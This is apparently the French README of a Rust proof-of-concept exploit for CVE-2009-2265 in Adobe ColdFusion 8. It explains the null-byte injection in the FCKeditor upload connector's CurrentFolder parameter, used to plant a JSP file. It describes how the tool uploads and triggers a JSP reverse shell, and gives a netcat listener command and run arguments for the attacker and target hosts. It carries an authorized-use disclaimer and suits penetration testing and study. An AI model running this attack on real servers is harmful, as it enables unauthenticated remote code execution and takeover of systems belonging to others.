
Une implémentation Rust du POC pour l'exploit CVE-2009-2265, ciblant Adobe ColdFusion 8.
Une implémentation en Rust du POC pour l'exploit CVE-2009-2265, ciblant Adobe ColdFusion 8.
Cette vulnérabilité permet à un attaquant non authentifié de télécharger des fichiers arbitraires dans un répertoire accessible via le web sur un serveur exécutant Adobe ColdFusion 8, conduisant à une exécution de code à distance (RCE).
upload.cfmCurrentFolderLa vulnérabilité réside dans la fonctionnalité de téléchargement de fichiers du composant FCKeditor situé à l'adresse /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm. Le paramètre HTTP GET CurrentFolder n'est pas correctement assaini, ce qui permet une attaque par injection d'octet nul (%00).
En forgeant une requête où le paramètre CurrentFolder est défini sur /<filename>.jsp%00, un attaquant peut contourner les vérifications d'extension côté serveur. Le système sous-jacent (souvent Java) interprète l'octet nul comme la fin de la chaîne, traitant le nom de fichier comme <filename>.jsp. Cela permet à l'attaquant de télécharger un fichier JSP malveillant. Le serveur enregistre ce fichier dans un répertoire accessible publiquement (/userfiles/file/), d'où il peut être exécuté simplement en accédant à son URL.
Ce POC automatise le processus en générant une charge utile de reverse shell JSP, en la téléchargeant en utilisant la vulnérabilité d'octet nul, et en la déclenchant pour obtenir un shell sur le système cible.
Suivez ces étapes pour compiler et exécuter l'exploit.
Avant d'exécuter l'exploit, démarrez un écouteur sur votre machine locale pour capturer le reverse shell entrant.
nc -lnvp <attacker-port>
Exécutez le binaire compilé, en fournissant votre hôte/port local pour le reverse shell ainsi que l'hôte/port de la cible distante.
cargo run -- --lhost <LHOST> --lport <LPORT> --rhost <RHOST> --rport <RPORT>
Après que le script a déclenché la charge utile, vous devriez recevoir une connexion sur votre écouteur Netcat.
Cet outil est destiné à des fins éducatives et de tests de pénétration autorisés uniquement. Utilisez-le de manière responsable et uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite.